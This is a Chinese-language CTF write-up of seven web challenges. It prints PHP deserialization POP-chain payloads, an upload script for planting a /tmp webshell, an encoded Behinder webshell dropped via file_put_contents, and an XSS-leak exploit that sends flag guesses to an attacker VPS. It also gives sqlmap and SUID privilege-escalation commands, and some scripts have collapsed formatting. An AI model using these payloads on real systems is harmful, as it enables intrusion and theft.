Web

1.[强网先锋]寻宝

下发赛题,访问链接如下:

该题需要你通过信息 1 和信息 2 分别获取两段 Key 值,输入 Key1 和 Key2 然后解密。

Key1之代码审计

点击“信息1”,发现是代码审计:

完整源码如下:

<?php

header('Content-type:text/html;charset=utf-8');

error_reporting(0);

highlight_file(__file__);

function filter($string){

$filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');

$filter_phrase= '/'.implode('|',$filter_word).'/';

return preg_replace($filter_phrase,'',$string);

}

if($ppp){

unset($ppp);

}

$ppp['number1'] = "1";

$ppp['number2'] = "1";

$ppp['nunber3'] = "1";

$ppp['number4'] = '1';

$ppp['number5'] = '1';

extract($_POST);

$num1 = filter($ppp['number1']);

$num2 = filter($ppp['number2']);

$num3 = filter($ppp['number3']);

$num4 = filter($ppp['number4']);

$num5 = filter($ppp['number5']);

if(isset($num1) && is_numeric($num1)){

die("非数字");

}

else{

if($num1 > 1024){

echo "第一层";

if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){

echo "第二层";

if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){

echo "第三层";

if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){

echo "第四层";

if(!isset($num5)||(strlen($num5)==0)) die("no");

$b=json_decode(@$num5);

if($y = $b === NULL){

if($y === true){

echo "第五层";

include 'KeY1lhv.php';

echo $KEY1;

}

}else{

die("no");

}

}else{

die("no");

}

}else{

die("no");

}

}else{

die("no");

}

}else{

die("no111");

}

}

非数字

?>

核心需要 bypass 的代码如下:

第一层:要求非纯数字且大于 1024,利用 PHP 弱比较令 $num1=11111a 即可。

第二层:绕过 intval 函数(intval() 函数用于获取变量的整数值),利用科学技术法绕过长度小于 5 的限制,故令 $num2=9e9 即可。

第三层:substr(md5) 取值为某个值,编写脚本进行 MD5 碰撞,计算出num3 为 61823470,脚本如下:

import hashlib

def md5_encode(num3):

return hashlib.md5(num3.encode()).hexdigest()[0:7]

for i in range(60000000,700000000):

num3 = md5_encode(str(i))

# print(num3)

if num3 == '4bf21cd':

print(i)

break

运行结果如下:

第四层:科学计数法绕过,长度为 7 且为 0,num4 为 0e00000。

第五层:json_decode()函数接受一个 JSON 编码的字符串并且把它转换为 PHP 变量,如果 json 无法被解码(非 json 格式时)将会返回 null ,故令 num5 等于 1a (任意字符串即可)。

故最终 Payload:

ppp[number1]=11111a&ppp[number2]=9e9&ppp[number3]=61823470&ppp[number4]=0e00000&ppp[number5]=1a

POST提交获得 Key1:

KEY1{e1e1d3d40573127e9ee0480caf1283d6}

Key2之脚本搜索

1、提示信息给了一个下载链接:

2、解压后得到一堆 docx 文件:

3、随便打开一个发现是一堆字符:

4、猜测 Key2 就在其中某一个文件中,写脚本跑:

import os

import docx

for i in range(1,20):

for j in range(1,20):

path = "./5.{0}/VR_{1}".format(i,j)

files = os.listdir(path)

# print(filePath)

for file in files:

try:

fileName = path+"/"+file

# print(fileName)

file = docx.Document(fileName)

for content in file.paragraphs:

# print(content.text)

if "KEY2{" in content.text:

print(content.text)

print(fileName)

break

except:

pass

运行结果如下:

得到 KEY2 :

KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}

在原页面上提交获取 flag:

2.[强网先锋]赌徒

下发赛题,访问地址如下:
结合题目源码提醒,利用 dirsearch 扫描目录,发现 www.zip:
3、解压缩获得题目源码:
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new  Start();
}
?>
看到这里猜测是 PHP 反序列化的题目,但是先前了解的相关题目都只是涉及析构函数的利用点,本题看得一脸懵圈,所以立马恶补下 CTF 中关于 PHP 反序列化的套路。
PHP的魔术方法
PHP 中魔术方法的定义是把以两个下划线__开头的方法称为魔术方法,常见的如下:
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct:  和构造函数相反,当对象所在函数调用完毕后执行。
__toString:  当对象被当做一个字符串使用时调用。
__sleep:     序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:    反序列化恢复对象之前调用该方法
__call:      当调用对象中不存在的方法会自动调用该方法。
__get:       从不可访问的属性中读取数据会触发
__isset():   在不可访问的属性上调用isset()或empty()触发
__unset():   在不可访问的属性上使用unset()时触发
__invoke():  将对象调用为函数时触发
更多请查看PHP手册:
https://www.php.net/manual/zh/language.oop5.magic.php
简单例子
<?php
class A{
var $test = "demo";
function __wakeup(){
eval($this->test);
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
分析:这里只有一个A类,只有一个__wakeup()方法,并且一旦反序列化会走魔法方法__wakeup并且执行 test 变量的命令,那我们构造如下 EXP 执行 phpinfo() 函数:
<?php
class A{
var $test = "demo";
function __wakeup(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
$b = new A();
$b->test="phpinfo();";
$c = serialize($b);
echo $c;
?>
输出:
O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}
提交输出的 Payload,执行效果如下:
POP链实例
进一步来看一道进阶题目:
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}
【题目分析】对于此题可以看到我们的目的是通过构造反序列化读取 flag.php 文件,Read 类有file_get_contents()函数,Show 类有highlight_file()函数可以读取文件。接下来寻找目标点可以看到在最后几行有 unserialize 函数存在,该函数的执行同时会触发__wakeup魔术方法,而__wakeup魔术方法可以看到在 Show 类中。
1、__wakeup方法:
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
存在一个正则匹配函数 preg_match(),该函数第二个参数应为字符串,这里把 source 当作字符串进行的匹配,这时若这个 source 是某个类的对象的话,就会触发这个类的__tostring方法,通篇看下代码发现__tostring魔术方法也在 Show 类中,那么我们一会构造 exp 时将 source 变成 Show 这个类的对象就会触发__tostring方法。
2、__tostring方法:
public function __toString(){
return $this->str['str']->source;
}
首先找到 str 这个数组,取出 key 值为 str 的 value 值赋给 source,那么如果这个 value 值不存在的话就会触发 __get 魔术方法。再次通读全篇,看到 Test 类中存在 __get 魔术方法。
3、__get方法:
public function __get($key){
$function = $this->p;
return $function();
}
发现先取 Test 类中的属性 p 给 function 变量,再通过 return $function() 把它当作函数执行,这里属性 p 可控。这样就会触发 __invoke 魔术方法,而 __invoke 魔术方法存在于Read类中。
4、__invoke方法:
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
调用了该类中的 file_get 方法,形参是 var 属性值(这里我们可以控制),实参是 value 值,从而调用file_get_contents函数读取文件内容,所以只要将 Read 类中的 var 属性值赋值为 flag.php 即可。
5、POP链构造:
unserialize 函数(变量可控) –>__wakeup()魔术方法–>__tostring()魔术方法–>__get魔术方法–>__invoke魔术方法–> 触发 Read 类中的file_get方法–>触发file_get_contents函数读取 flag.php。
<?php
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
class Read{
public $var = "flag.php";
}
$s = new Show();
$t = new Test();
$r = new Read();
$t->p = $r; //赋值Test类的对象($t)下的属性p为Read类的对象($r),触发__invoke魔术方法
$s->str["str"] = $t;//赋值Show类的对象($s)下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。
$s->source = $s;//令 Show类的对象($s)下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发__tostring魔术方法。
var_dump(serialize($s));
?>
题目POP链构造
经过上面的实例分析,此赛题同理,照葫芦画瓢即可。
构造本题的 EXP:
<?php
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}
class Info
{
public $phonenumber=123123;
public $promise='I do';
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
}
$S = new Start();
$I = new Info();
$R = new Room();
$R->a = $R;
$I->file['filename'] = $R;
$S->name = $I;
echo serialize($S);
?>
输出Payload:
O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:11:"phonenumber";i:123123;s:7:"promise";s:4:"I do";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";r:6;}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}
提交 Payload,获得 Flag 的 base64 编码:
坑点!需要去除前面的 “hi” 字符再进行 Base64 解码:

3.WhereIsUWebShell

源码

 <!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{include "function.php";echo "I see your Cookie<br>";$res = unserialize($_COOKIE['ctfer']);if(preg_match('/myclass/i',serialize($res))){throw new Exception("Error: Class 'myclass' not found ");}
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{public function __destruct(){   if($this->qwb) echo file_get_contents($this->qwb);}
}
?>
<?php
// function.php
function __autoload($classname){require_once "/var/www/html/$classname.php";
}
?>

入口的 COOKIE 存在反序列化

去掉最后的大括号,利用反序列化报错来防止进入 Exception

O:7:"myclass":1:{s:1:"h";O:5:"Hello":1:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";}
O%3A7%3A%22myclass%22%3A1%3A%7Bs%3A1%3A%22h%22%3BO%3A5%3A%22Hello%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3Bs%3A36%3A%22e2a7106f1cc8bb1e1318df70aa0a3540%2Ephp%22%3B%7D

e2a7106f1cc8bb1e1318df70aa0a3540.php

<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
$file = isset($_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b'])?$_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){PNG($file);
}
include($file);
$res = @scandir($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']);
if(isset($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1'])&&$_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']==='/tmp'){$somthing = GenFiles();$res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>

bff139fa05ac583f685a523ab3d110a0.php

<?php
function PNG($file)
{if(!is_file($file)){die("我从来没有见过侬");}$first = imagecreatefrompng($file);if(!$first){die("发现了奇怪的东西2333");}$size = min(imagesx($first), imagesy($first));unlink($file);$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);if ($second !== FALSE) {imagepng($second, $file);imagedestroy($second);//销毁,清内存}imagedestroy($first);
}
?>

45b963397aa40d4a0063e0d85e4fe7a1.php

<?phpfunction GenFiles(){$files = array();$str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';$len=strlen($str)-1;for($i=0;$i<10;$i++){$filename="php";for($j=0;$j<6;$j++){$filename  .= $str[rand(0,$len)];}// file_put_contents('/tmp/'.$filename,'flag{fake_flag}');$files[] = $filename;}return $files;
}?>

/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=passwd&dd9bd165-7cb2-446b-bece-4d54087185e1=/tmp

当前应该是在 /etc 目录下(?

不过没啥用,不能直接读 /flag,或者说 flag 不在根目录

参考 LFI via SegmentFault

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

可以导致 php 在执行过程中 Segment Fault

本地文件包含漏洞可以让 php 包含自身从而导致死循环
然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留

魔改他的脚本

# -*- coding: utf-8 -*-import requests
import string
import itertoolscharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'base_url = "http://eci-2ze9gh3z7jcw29alwhuz.cloudeci1.ichunqiu.com"def upload_file_to_include(url, file_content):files = {'file': ('evil.jpg', file_content, 'image/jpeg')}try:response = requests.post(url, files=files)print(response)except Exception as e:print(e)def generate_tmp_files():with open('miao.png', 'rb') as fin:file_content = fin.read()phpinfo_url = "%s/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=php://filter/string.strip_tags/resource=passwd" % (base_url)length = 6times = int(len(charset) ** (length / 2))for i in range(times):print("[+] %d / %d" % (i, times))upload_file_to_include(phpinfo_url, file_content)def main():generate_tmp_files()if __name__ == "__main__":main()

图片是个长宽相等的 png,里面放木马。

上传过程中就会留下一些文件不会被删除。

一边跑这个脚本,另一边的一堆 /tmp/phpxxxxxx 里就存在我们的 webshell

由于会自动删除,没了就换新的

根目录果然没 flag

然后利用 shell 发现 /usr/bin 下面有个文件可以以 root 权限执行命令

find / -user root -perm -4000 -print 2>/dev/null
# 或者
# find / -perm -u=s -type f 2>/dev/null

flag 在 /l1b 下一个绕来绕去的目录里面

或者

find / -perm 600 -user root

最后执行

/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41
POST /e2a7106f1cc8bb1e1318df70aa0a3540.php?b822f88a-de15-4dc8-923b-1cbeec54bcfc=/tmp/phpi8bEt1&0=system HTTP/1.1
Host: eci-2zehg7ugvk0ahcsnkehl.cloudeci1.ichunqiu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=1769d95cb5b54d-04781d3935eefa-c791039-1fa400-1769d95cb5c669; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1611909425; ctfer=s%3A5%3A%22ctfer%22%3B; __jsluid_h=847d751b863f86e3ed743f9efb5d5c4f
Connection: close
Content-Length: 110
Content-Type: application/x-www-form-urlencoded1=/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41

flag{b101e657-a46a-4791-abcb-5be544fc12bd}

4.EasyWeb

SQL注入得密码

1、提示信息收集,那么先扫一波端口:

2、访问该端口是一个登陆页面:

3、简单测试发现是未过滤的 SQL 注入:

4、直接上 Sqlmap(sqlmap.py -r 123.txt --dbms MySQL -p "username" -D easyweb -T employee -C "username,password" --dump,不知为何,此题发现必须加上--dbms MySQL -p "username"参数才能正常跑 sqlmap),获得账户密码,尴尬的是一开始以为密码得解密后才能登录,后来队友说直接输入就行……

5、登陆后围绕系统标题栏 EasySSRF 的提示,一通搜索企图利用 SSRF 读取本地 flag 文件,无果……

上传木马并提权

1、尝试 SSRF 无果,无奈继续信息搜集,扫描路径,发现 file 路径可上传文件:

2、尝试上传 php 一句话木马,被拦截了,Fuzz 了一下发现是后缀+内容过滤,不能传 jpg 这些,猜测用.htaccess上传漏洞,发现也存在过滤:

3、此处过滤了 application,用 php5-script 绕过即可:

4、随后上传木马文件,传马发现 php 不能闭合,并且过滤了一些危险函数,fuzz 一下得到:

5、成功连接木马:

6、然而发现 flag 文件无法读取……权限不足,读取 hint 文件获得提示:

7、提示信息要求继续进行信息收集,接下来的操作比赛时我没搞懂,故盗用别人的解题过程……使用命令netstat –apn查看服务器所有的进程和端口使用情况,留意到 8006 端口为 JBoss 服务:

在终端使用 curl 命令请求访问 8006 端口的服务页面:

8、访问 1.qwer 木马文件,写入冰蝎马(方便利用冰蝎做内网穿透,将靶机内网服务映射到本地):

/1.qwer?1=file_put_contents('b.php',base64_decode('PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IC8v6K%2Bl5a%2BG6ZKl5Li66L%2Be5o6l5a%2BG56CBMzLkvY1tZDXlgLznmoTliY0xNuS9je%2B8jOm7mOiupOi%2FnuaOpeWvhueggXJlYmV5b25kCgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cj8%2BCg%3D%3D'));

9、接着使用冰蝎客户端的“内网穿透”建立 HTTP 隧道,将靶机的 8006 端口映射到物理机的 2222 端口:

随后本地物理机浏览器即可访问 2222 端口,为 JBoss 默认页面:

10、最后使用 JexBoss 脚本一把梭https://github.com/SpartansHackTeam/Jexboss,获得 Shell 为 root 权限,即可查看 flag 如下:

本题最后补充两个知识点:

冰蝎 3.0 内网穿透(代理)功能详解:冰蝎v3.0操作使用手册 ;

JexBoss 脚本工具的使用:JBoss未授权访问漏洞Getshell过程复现。

5.EasyXSS

The BOT starts every five seconds and handles only one reported URL at a time. The BOT is Google-Chrome 91.0.4472.77 (Official Build) (64-bit)

Notice: the address requested by the BOT is http://localhost:8888.

Each time the BOT processes a request, it clears subsequent report URLs from the database

每 15 分钟重启环境

47.104.192.54:8888
47.104.210.56:8888
47.104.155.242:8888

Hint: flag格式是flag{uuid}

算是个 XS-Leaks 的题目,算是侧信道的一种吧。

通过 /hint 路由可以知道 flag 判断逻辑。

app.all("/flag", auth, async (req, res, next) => {if (req.session.isadmin && typeof req.query.var === "string") {fs.readFile("/flag", "utf8", (err, flag) => {let flagArray = flag.split("");let dataArray = req.query.var.split("");let check = true;for (let i = 0; i < dataArray.length && i < flagArray.length; i++) {if (dataArray[i] !== flagArray[i]) {check = false;break;}}if (check) {res.status(200).send(req.query.var);} else {res.status(500).send("Keyword Error!");}});} else {res.status(500).send("Sorry, you are not admin!");}
});

/flag 路由对输入的逐个字符与 flag 的这么多个(输入的)长度的字符进行比较,如果每一位都相同则返回 200,否则返回 500.

访问 /about?theme=xxxxx 发现存在 XSS。不过过滤了一些东西,比如 空格可以用 %09 绕过之类。

根据提示 flag 是个 UUID,于是可以按照这个格式逐位爆破,通过返回的状态来判断当前字符是否正确。

访问 /about?theme=xxxxx 发现存在 XSS。不过过滤了一些东西,比如 空格可以用 %09 绕过之类。

于是就在 VPS 上跑个脚本,分成功和失败两个路由,让 bot 访问自己的 /flag 路由。

如果成功返回则调用 Ajax 去请求 VPS 上的 success 路由,否则请求 error 路由,并通过参数返回当前爆破的 flag。

exp:

from flask import Flask
from flask import request
import requests
import urllib.parseapp = Flask(__name__)@app.route("/success")
def index():global cookiesglobal urldata = request.args.get('a')if len(data) == 13 or len(data) == 18 or len(data) == 23 or len(data) == 28:data += "-0"else:data += "0"p = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//'''p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p)d = {"url": p}requests.post(url, data=d, cookies=cookies)return "Hello World!"@app.route("/error")
def index2():global cookiesglobal urldata = request.args.get('a')tmp = data[:-1]if data[-1] == "9":tmp += "a"else:tmp += chr(ord(data[-1]) + 1)data = tmpp = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//'''p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p)d = {"url": p}requests.post(url, data=d, cookies=cookies)return "Hello World!"cookies = {"session":"s%3ASuDwPHFP03I6VDRGiad8Zzst0owLeQY_.MjxB%2BTBwTgesKkEE9dIR95EoJPMuNNh%2BOZFw6ajDMm0"}
# url = "http://47.104.210.56:8888/report"
url = "http://47.104.192.54:8888/report"
app.run(host='0.0.0.0', port=80)

让 bot 从 0 开始访问,虽然容器固定时间重启,但是 flag 是静态的 uuid,所以就是时间问题了。

最后根据 VPS 上的访问记录就能得到 flag 了。


6.Hard_Penetration

Shiro反序列化
1、访问解题链接发现是个登录页面,输入任意账户密码抓包发现 remenberme 响应头参数:
2、Xray 神器一扫果然有 Shiro 反序列化漏洞:
3、用 shiro_attack 工具进行漏洞利用,写冰蝎内存马,多写几次,失败没事然后打开冰蝎直接连接即可:
4、查看根目录发现 flag 权限是 www-data 无法读取:
CMS源码审计
1、拿到 shell 但是权限不足,进一步进行信息收集,执行命令 ps (用于显示当前进程的状态,类似于 windows 的任务管理器)发现有 Apache 服务:
2、读取 Apache 的 ports 配置文件得到端口:
3、使用冰蝎将端口映射出来:
4、本地物理机浏览器访问映射出来的内网服务,发现 CMS 关键字:
5、Github 下载对应 CMS 系统的源码 BaoCms,然后审计发现包含了模板,但是它在后缀硬加上了 .html:
6、最后利用 CMS 系统的文件包含漏洞读取 flag 文件:

7.pop_master

该题需要构造反序列化利用链 最终实现RCE
由于该题目类数量巨大1W个 编写自动化脚本构造pop链

第一步将class.php.txt转化成AST(抽象语法树) 保存为json格式
<?php
ini_set(“memory_limit”,”-1”);
echo(json_encode(ast\parse_file(“class.php”, $version=70)));
构造比较简单A->B->C->…….->包含EVAL()的class function

调用这里有几个坑 1.调用途中有参数污染(附加垃圾数据) 2.调用途中传参可能被清空 (传参被赋值未定义的变量)3.调用途中传参可能被修改 (直接赋值为垃圾数据)
所以并不是找到调用链就可以完成工作 而是需要找到可以利用的调用链

自动化代码:
PS:没有什么参考价值 只对该题可用 因为固定3种函数结构所以偷懒把参数写死了 初学py语言 第一次做AST树解析用这种笨方法)

## -*- coding: utf-8 -*-import jsonimport randomimport osimport stringwith open("12.json") as f:    line=f.readline()    result=json.loads(line)print(len(result['children']))def asb(name,s,s1=''):    ee = 0    for a in result['children']:        for b in a['children']['stmts']['children']:            if 'name' in b['children'].keys():                if (b['children']['name'] == 'gG1T5D'):                    ee = 0                    #ee=1                if (b['children']['name'] == name):                    test(a)                    if(len(b['children']['stmts']['children'])==3):                        q = b['children']['stmts']['children'][1]['children'][0]['children']['cond']['children']['args']['children'][1]                        w = b['children']['stmts']['children'][random.randint(1,2)]['children'][0]['children']['cond']['children']['args']['children'][1]#随机分支 玄学构造                        #print(s + q)                        #print(s + w)                        ran_str = ''.join(random.sample(string.ascii_letters, 8))                        print('$'+ran_str+'=new '+a['children']['name']+'();')                        s11='$' + ran_str + '->' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '='                        #if s1!='':

                        # asb(w, s +w+'-->')                        # asb(q, s +q+'-->')                        if ee!=1:                            asb(w,s,s11)# 分支函数1                            #asb(q, s, s11)# 分支函数2                            if ran_str == '':                                exit()                            print(s1 + '$' + ran_str+';')

                        #asb(q, s +q+'-->')

                    else:                        if 'method' in b['children']['stmts']['children'][1]['children'].keys():# 没有分支                            q = b['children']['stmts']['children'][1]['children']['method']                            ran_str = ''.join(random.sample(string.ascii_letters, 8))                            print('$' + ran_str + '=new ' + a['children']['name'] + '();')                            s11 = '$' + ran_str + '->' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '='                            #print(s + q)                            if ee != 1:                                asb(q, s, s11)                                if ran_str == '':                                    exit()                                print(s1 + '$' + ran_str + ';')

def test(d):    #if name in {'Name','COiLxB'}:       #print('nono')        #exit()    try:        a=d['children']['stmts']['children'][1]['children']['params']['children'][0]['children']['name']        b=d['children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['var']['children']['name']        c=d['children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['expr']['children']['name']        if(a==b and b!=c and a!='DgiNa'): #判断赋值是否是用不存在的变量覆盖传参

            print(a,b,c)            print('no')            asb('YYdqkf', 'YYdqkf' + '-->')#重新搜索            os._exit(0)

    except:        passasb('YYdqkf','YYdqkf'+'-->')
编写脚本处理AST
随机抽取一条构造链 检验是否正常执行(传参修改检测) 反复抽取得到可用的链

ps:例图输出与下面代码无关 找不到成功的图了

<?php
此处省略3M大小的源class
$a=new WK4tcG();$prXsQMfO=new WK4tcG();$DLcTtAga=new xaeGnG();$lcbgRpGI=new oAMzcx();$IatldcbW=new p38LCI();$nULgbaKw=new GbfW4c();$ASyQaYMV=new m2s3zO();$GMwztlCS=new PgSSqR();$MegPsOnX=new RLuIRL();$neJOwgfu=new WykBAC();$PNHChDce=new g6hgDh();$BzceWjKp=new HDaeRV();$YThMXwcb=new bREm3w();$xWVjhwmO=new D0aZh5();$BIbCvgZD=new T9NX4U();$prvhXPMW=new eWciOL();$NVHbgdzD=new TqWDlm();$mszgihWC=new XoFA87();$vDBkPwqO=new MU1ai5();$ZYHhsIid=new eHtdBF();$ZYHhsIid->V7XKdgi=new DNUWgV();$vDBkPwqO->zXEmp6T=$ZYHhsIid;$mszgihWC->z35pfqP=$vDBkPwqO;$NVHbgdzD->KGgGFnb=$mszgihWC;$prvhXPMW->D6qeYVK=$NVHbgdzD;$BIbCvgZD->UwQCEH2=$prvhXPMW;$xWVjhwmO->ST8sCZq=$BIbCvgZD;$YThMXwcb->pMgtiwK=$xWVjhwmO;$BzceWjKp->OO72gIu=$YThMXwcb;$PNHChDce->GYBlHLq=$BzceWjKp;$neJOwgfu->yWYNYcP=$PNHChDce;$MegPsOnX->dFy0Irz=$neJOwgfu;$GMwztlCS->Cs99EPC=$MegPsOnX;$ASyQaYMV->QidIkAq=$GMwztlCS;$nULgbaKw->gE4DrP9=$ASyQaYMV;$IatldcbW->OksedLV=$nULgbaKw;$lcbgRpGI->SUxaKsh=$IatldcbW;$DLcTtAga->u3832FP=$lcbgRpGI;$a->fBuH5Og=$DLcTtAga;//$a = $_GET['pop'];$b = $_GET['argv'];echo serialize($a);//$a = unserialize($a);//var_dump($a);$a->YYdqkf($b);?>

生成序列化文本
